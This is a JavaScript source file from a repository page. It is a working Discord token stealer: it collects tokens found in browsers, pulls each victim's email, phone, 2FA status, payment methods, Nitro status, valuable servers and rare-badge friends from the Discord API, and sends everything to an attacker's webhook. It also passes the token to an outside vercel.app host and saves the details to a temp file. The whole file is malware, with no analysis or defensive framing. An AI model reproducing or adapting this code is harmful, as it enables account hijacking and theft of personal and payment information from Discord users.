-
Notifications
You must be signed in to change notification settings - Fork 1
/
tokens.js
312 lines (262 loc) · 10.3 KB
/
tokens.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
const axios = require('axios');
const finds = require('./finds.js');
const fileutil = require('../../utils/fileutil/fileutil.js');
const requests = require('../../utils/requests/requests.js');
const GetRareFlags = (flags) => {
const flagsDict = {
'<:DiscordEmloyee:1297275182079017082>': 0,
'<:PartneredServerOwner:1163172304155586570>': 1,
'<:HypeSquadEvents:1297275178300215386>': 2,
'<:BugHunterLevel1:1297275173296406568>': 3,
'<:EarlySupporter:1297275177163559064>': 9,
'<:BugHunterLevel2:1297275174634393683>': 14,
'<:EarlyBotDeveloper:1297275176127299625>': 17,
'<:CertifiedModerator:1163172255489085481>': 18,
'<:ActiveDeveloper:1163172534443851868>': 22
};
let result = '';
for (const [emoji, shift] of Object.entries(flagsDict)) {
if ((flags & (1 << shift)) !== 0) {
result += emoji + ' ';
}
}
return result.trim();
};
const GetHQFriends = (friends) => {
const filteredFriends = friends
.filter(friend => friend.type === 1)
.map(friend => ({
username: friend.user.username,
discriminator: friend.user.discriminator,
flags: GetRareFlags(friend.user.public_flags)
}))
let hQFriends = filteredFriends.map(friend => {
const name = `${friend.username}#${friend.discriminator}`;
if (friend.flags) {
return `${friend.flags} | ${name}\n`
}
});
hQFriends = hQFriends.join('');
if (hQFriends.length === 0) {
return false;
}
if (hQFriends.length > 1000) {
hQFriends = 'Numerous frieds to explore.';
}
return `**Rare Friends:**\n${hQFriends}`;
};
const GetHQGuilds = async (guilds, token) => {
const filteredGuilds = guilds
.filter(guild => guild.owner || (guild.permissions & 8) === 8)
.filter(guild => guild.approximate_member_count >= 500)
.map(guild => ({
id: guild.id,
name: guild.name,
owner: guild.owner,
member_count: guild.approximate_member_count
}));
let hQGuilds = await Promise.all(filteredGuilds.map(async guild => {
try {
const response = await axios.get(`https://discord.com/api/v8/guilds/${guild.id}/invites`, {
headers: { Authorization: token }
});
const invites = Array.isArray(response.data) ? response.data : [];
const inviteCode = invites.length > 0 ? invites[0]?.code : null;
const invite = inviteCode ? `[Join Server](https://discord.gg/${inviteCode})` : '';
const emoji = guild.owner
? `<:Owner:963333541343686696> Owner`
: `<:Staff:1136740017822253176> Admin`;
const members = `Members: \`${guild.member_count}\``;
const name = `(**${guild.name}**)`;
return `${emoji} | ${name} - ${members}${invite ? ` - ${invite}` : ''}\n`;
} catch (error) {
}
}));
hQGuilds = hQGuilds.join('');
if (hQGuilds.length === 0) {
return false;
}
if (hQGuilds.length > 1000) {
return 'Numerous servers to explore.';
}
return `**Rare Servers:**\n${hQGuilds}`;
};
const GetBilling = (billing) => {
const payment = {
1: '💳',
2: '<:Paypal:1129073151746252870>'
};
let paymentMethods = billing.map(method => payment[method.type] || '❓').join('');
return paymentMethods || '`❓`';
};
const GetDate = (current, months) => {
return new Date(current).setMonth(current.getMonth() + months);
};
const GetNitro = (flags) => {
const nitro = '<:DiscordNitro:1297275179566895184>';
const monthsNitro = [
'<:DiscordBoostNitro1:1297275185099182170> ',
'<:DiscordBoostNitro2:1297275521868107886> ',
'<:DiscordBoostNitro3:1297275188030738533> ',
'<:DiscordBoostNitro6:1297275192724426915> ',
'<:DiscordBoostNitro9:1297275523139112990> ',
'<:DiscordBoostNitro12:1297275195400257597> ',
'<:DiscordBoostNitro15:1297275198277423245> ',
'<:DiscordBoostNitro18:1297275202442367067> ',
'<:DiscordBoostNitro24:1297275207400161311> ',
];
const { premium_type, premium_guild_since } = flags;
switch (premium_type) {
default:
return '`❓`';
case 1:
return nitro;
case 2:
if (!premium_guild_since) {
return nitro;
};
let months = [1, 2, 3, 6, 9, 12, 15, 18, 24];
let rem = 0;
for (let i = 0; i < months.length; i++)
if (Math.round((
GetDate(new Date(premium_guild_since), months[i]) - new Date()
) / 86400000) > 0) {
rem = i;
break;
};
return `${nitro} ${monthsNitro[rem]}`;
}
};
const GetFlags = (flags) => {
const flagsDict = {
'<:DiscordEmloyee:1297275182079017082>': 0,
'<:PartneredServerOwner:1163172304155586570>': 1,
'<:HypeSquadEvents:1297275178300215386>': 2,
'<:BugHunterLevel1:1297275173296406568>': 3,
'<:HouseBravery:1297275208658456586>': 6,
'<:HouseBrilliance:1297275519980671068>': 7,
'<:HouseBalance:1297275520936837254>': 8,
'<:EarlySupporter:1297275177163559064>': 9,
'<:BugHunterLevel2:1297275174634393683>': 14,
'<:EarlyBotDeveloper:1297275176127299625>': 17,
'<:CertifiedModerator:1163172255489085481>': 18,
'⌨️': 20,
'<:ActiveDeveloper:1163172534443851868>': 22
};
let result = '';
for (const [emoji, shift] of Object.entries(flagsDict)) {
if ((flags & (1 << shift)) !== 0) {
result += emoji;
}
}
return result.trim() || '`❓`';
};
const Fetch = async (endpoint, headers) => {
const response = await axios.get(`https://discord.com/api/v9/users/${endpoint}`, {
headers: {
'Content-Type': 'application/json',
...headers
}
});
return response.data;
};
module.exports = async (webhookUrl) => {
const tokens = await finds.GetTokens();
for (const { browser, token } of tokens) {
try {
const user = await Fetch('@me', {
'Authorization': token
});
const profile = await Fetch(`${Buffer.from(token.split('.')[0], 'base64').toString('binary')}/profile`, {
'Authorization': token
});
const billing = await Fetch(`@me/billing/payment-sources`, {
'Authorization': token
});
const guilds = await Fetch(`@me/guilds?with_counts=true`, {
'Authorization': token
});
const friends = await Fetch(`@me/relationships`, {
'Authorization': token
});
const ext = user.avatar.startsWith('a_') ? 'gif' : 'png';
const avatar = `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.${ext}`;
const copy = `https://6889-fun.vercel.app/api/aurathemes/raw?data=${token}`;
const data = {
embeds: [
{
title: `${user.username} | ${user.id}`,
thumbnail: {
url: avatar + '?size=512'
},
fields: [
{
name: `<:x:1194495538138185728> ${browser} Token:`,
value: '```' + token + '```' + '\n' + `[Click Here To Copy Your Token](${copy})`,
inline: false
},
{ name: '\u200b', value: '\u200b', inline: false },
{
name: '<a:mail:1245038428891123815> Email:',
value: '`' + (user.email || '❓') + '`',
inline: true
},
{
name: '<a:phone:1104204812867874936> Phone:',
value: '`' + (user.phone || '❓') + (user.mfa_enabled ? ' (2FA)' : '') + '`',
inline: true
},
{ name: '\u200b', value: '\u200b', inline: false },
{
name: '<a:nitro:1122755911967068210> Nitro:',
value: GetNitro(profile),
inline: true
},
{
name: '<:billing:1122678162288037929> Billing:',
value: GetBilling(billing),
inline: true
},
{
name: '<a:badges:1138323945284714516> Badges:',
value: GetFlags(user.public_flags),
inline: true
},
]
}
]
};
const hqGuilds = await GetHQGuilds(guilds, token);
if (hqGuilds) {
data.embeds[0].fields.push({
name: '\u200b',
value: hqGuilds,
inline: false
});
};
const hqFriends = GetHQFriends(friends);
if (hqFriends) {
data.embeds[0].fields.push({
name: '\u200b',
value: hqFriends,
inline: false
});
};
await requests.Webhook(webhookUrl, data, [], copy);
const tokenInfo = [
`Token: ${token}`,
`Browser: ${browser}`,
`Id: ${user.id}`,
`Username: ${user.username}`,
`Avatar: ${avatar + '?size=512'}`,
`Badges: ${user.public_flags}`,
];
const WishTempDir = fileutil.WishTempDir('tokens');
await fileutil.WriteDataToFile(WishTempDir, `tokenInfo-${user.id}.txt`, tokenInfo);
} catch (error) {
if (error.response && error.response.data.code === 0) {
continue;
}
}
}
};